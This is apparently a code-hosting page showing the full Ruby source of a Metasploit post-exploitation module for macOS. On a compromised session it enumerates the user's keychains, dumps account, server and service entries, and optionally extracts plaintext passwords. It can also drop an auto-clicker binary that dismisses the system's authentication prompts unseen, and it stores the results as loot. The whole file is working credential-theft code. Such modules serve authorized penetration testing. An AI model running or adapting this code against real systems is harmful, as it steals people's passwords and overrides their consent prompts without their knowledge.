Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/enum_keychain.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::OSX::System7include Msf::Exploit::FileDropper89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Gather Keychain Enumeration',14'Description' => %q{15This module presents a way to quickly go through the current user's keychains and16collect data such as email accounts, servers, and other services. Please note:17when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication18alert flash briefly on their screen that gets dismissed by a programmatically triggered click.19},20'License' => MSF_LICENSE,21'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],22'Platform' => [ 'osx' ],23'SessionTypes' => [ 'meterpreter', 'shell' ]24)25)2627register_options(28[29OptBool.new('GETPASS', [false, 'Collect passwords.', false]),30OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),31OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),32OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])33]34)35end3637def list_keychains38keychains = cmd_exec('security list')39user = cmd_exec('whoami')40print_status("The following keychains for #{user.strip} were found:")41print_line(keychains.chomp)42return keychains =~ /No such file or directory/ ? nil : keychains43end4445def enum_accounts(_keychains)46user = cmd_exec('whoami').chomp47out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")4849accounts = []5051out.split("\n").each do |line|52next if line =~ /NULL/5354case line55when /"acct"/56accounts << Hash.new57accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]58when /"srvr"/59accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]60when /"svce"/61accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]62when /"desc"/63accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]64end65end6667accounts68end6970def get_passwords(accounts)71(1..accounts.count).each do |num|72if accounts[num].key?('srvr')73c = 'find-internet-password'74s = accounts[num]['srvr']75else76c = 'find-generic-password'77s = accounts[num]['svce']78end7980cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")8182cmd.split("\n").each do |line|83if line =~ /password: /84if line.split[1].nil?85accounts[num]['pass'] = nil86else87accounts[num]['pass'] = line.split[1].gsub('"', '')88end89end90end91end92return accounts93end9495def save(data, kind = 'Keychain information')96l = store_loot('macosx.keychain.info',97'plain/text',98session,99data,100'keychain_info.txt',101'Mac Keychain Account/Server/Service/Description')102103print_good("#{@peer} - #{kind} saved in #{l}")104end105106def run107@peer = "#{session.session_host}:#{session.session_port}"108109keychains = list_keychains110if keychains.nil?111print_error("#{@peer} - Module timed out, no keychains found.")112return113end114115user = cmd_exec('/usr/bin/whoami').chomp116accounts = enum_accounts(keychains)117save(accounts)118119if datastore['GETPASS']120if datastore['GETPASS_AUTO_ACCEPT']121print_status("Writing auto-clicker to `#{clicker_file}'")122write_file(clicker_file, clicker_bin)123register_file_for_cleanup(clicker_file)124125print_status('Dumping keychain with auto-clicker...')126passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])127save(passwords, 'Plaintext passwords')128129begin130count = JSON.parse(passwords).count131print_good("Successfully stole #{count} passwords")132rescue JSON::ParserError => e133print_error('Response was not valid JSON')134end135else136begin137passwords = get_passwords(accounts)138rescue StandardError139print_error("#{@peer} - Module timed out, no passwords found.")140print_error("#{@peer} - This is likely due to the host not responding to the prompt.")141end142save(passwords)143end144end145end146147def clicker_file148@clicker_file ||=149"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"150end151152def clicker_bin153File.read(File.join(154Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'155))156end157158end159160161